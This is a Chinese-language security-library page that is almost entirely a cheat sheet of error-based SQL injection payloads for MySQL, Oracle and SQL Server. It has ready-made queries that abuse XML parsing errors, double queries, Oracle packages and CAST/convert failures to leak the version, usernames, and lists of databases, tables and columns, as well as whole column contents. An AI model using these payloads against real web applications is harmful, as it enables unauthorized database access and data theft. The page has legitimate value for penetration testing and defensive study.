首页>安全文库>SQL注入>SQL注入基于报错

SQL注入基于报错

当无效输入传递给数据库时,通过触发数据库中的错误来利用基于错误的注入。错误消息可用于返回完整的查询结果,或获取有关如何重构查询以供进一步利用的信息。

MYSQL

描述语句
XML解析错误SELECT extractvalue(rand(),concat(0x3a,(select version())))
双查询SELECT 1 AND(SELECT 1 FROM(SELECT COUNT(*),concat(0x3a,(SELECT username FROM USERS LIMIT 0,1),FLOOR(rand(0)*2))x FROM information_schema.TABLES GROUP BY x)a)
递增 limit 0,1到limit 1,1开始循环数据
获取当前数据库SELECT a()

Oracle

描述语句
无效的HTTP请求SELECT utl_inaddr.get_host_name((select banner from v$version where rownum=1)) FROM dual
CTXSYS.DRITHSX.SNSELECT CTXSYS.DRITHSX.SN(user,(select banner from v$version where rownum=1)) FROM dual
无效的XPathSELECT ordsys.ord_dicom.getmappingxpath((select banner from v$version where rownum=1),user,user) FROM dual
无效的XMLSELECT to_char(dbms_xmlgen.getxml(‘select “‘||(select user from sys.dual)||'” FROM sys.dual’)) FROM dual
无效的XMLSELECT rtrim(extract(xmlagg(xmlelement(“s”, username || ‘,’)),’/s’).getstringval(),’,’) FROM all_users

SQL Server

描述语句
显式转换SELECT convert(int,(SELECT @@version))
SELECT cast((SELECT @@version) as int)
隐式转换SELECT 1/@@version

MSSQL CAST函数示例

以下任何查询都可以使用该convert函数重写或作为隐式转换.

描述语句
将CAST函数注入当前查询SELECT CAST(@@version as int)
显示系统用户SELECT CAST(SYSTEM_USER as int);
用xml路径在一行中显示所有数据库SELECT CAST((SELECT name,’,’ FROM master..sysdatabases FOR XML path(”)) as int)
SELECT CAST((SELECT name AS “data()” FROM master..sysdatabases FOR xml path(”)) AS int);
显示服务器名称SELECT CAST(@@SERVERNAME as int);
显示服务名称SELECT CAST(@@SERVICENAME as int);
显示数据库列表
注意:下面的查询必须在一行中执行。
DECLARE @listStr VARCHAR(MAX);DECLARE @myoutput VARCHAR(MAX);SET @listStr = '';SELECT @listStr = @listStr + Name + ',' FROM master..sysdatabases;SELECT @myoutput = SUBSTRING(@listStr , 1, LEN(@listStr)-1);SELECT CAST(@myoutput as int);
显示表列表
注意:下面的查询必须在一行中执行
DECLARE @listStr VARCHAR(MAX);DECLARE @myoutput VARCHAR(MAX); SET @listStr = '';SELECT @listStr = @listStr + Name + ',' FROM MYDATABASE..sysobjects WHERE type = 'U';SELECT @myoutput = SUBSTRING(@listStr , 1, LEN(@listStr)-1);SELECT CAST(@myoutput as int);
显示列列表
注意:下面的查询必须在一行中执行。
DECLARE @listStr VARCHAR(MAX);DECLARE @myoutput VARCHAR(MAX);SET @listStr = '';SELECT @listStr = @listStr + Name + ',' FROM MYDATABASE..syscolumns WHERE id=object_id('MYTABLE');SELECT @myoutput = SUBSTRING(@listStr , 1, LEN(@listStr)-1);select cast(@myoutput as int);
显示列数据
注意:下面的查询必须在一行中执行。 用*替换MYCOLUMN来选择所有列
DECLARE @listStr VARCHAR(MAX);DECLARE @myoutput VARCHAR(MAX);SET @listStr = '';SELECT @listStr = @listStr + MYCOLUMN + ',' FROM MYDATABASE..MYTABLE;SELECT @myoutput = SUBSTRING(@listStr , 1, LEN(@listStr)-1)SELECT CAST(@myoutput as int);
一次显示一个数据库名称
注意:递增内部TOP值以获取下一条记录
SELECT TOP 1 CAST(name as int) FROM sysdatabases WHERE name in (SELECT TOP 2 name FROM sysdatabases ORDER BY name ASC) ORDER BY name DESC

文章最后更新于 2021-09-22
0 条回复 A文章作者 M管理员
    暂无讨论,说说你的看法吧
个人中心
购物车
优惠劵
今日签到
有新私信 私信列表
搜索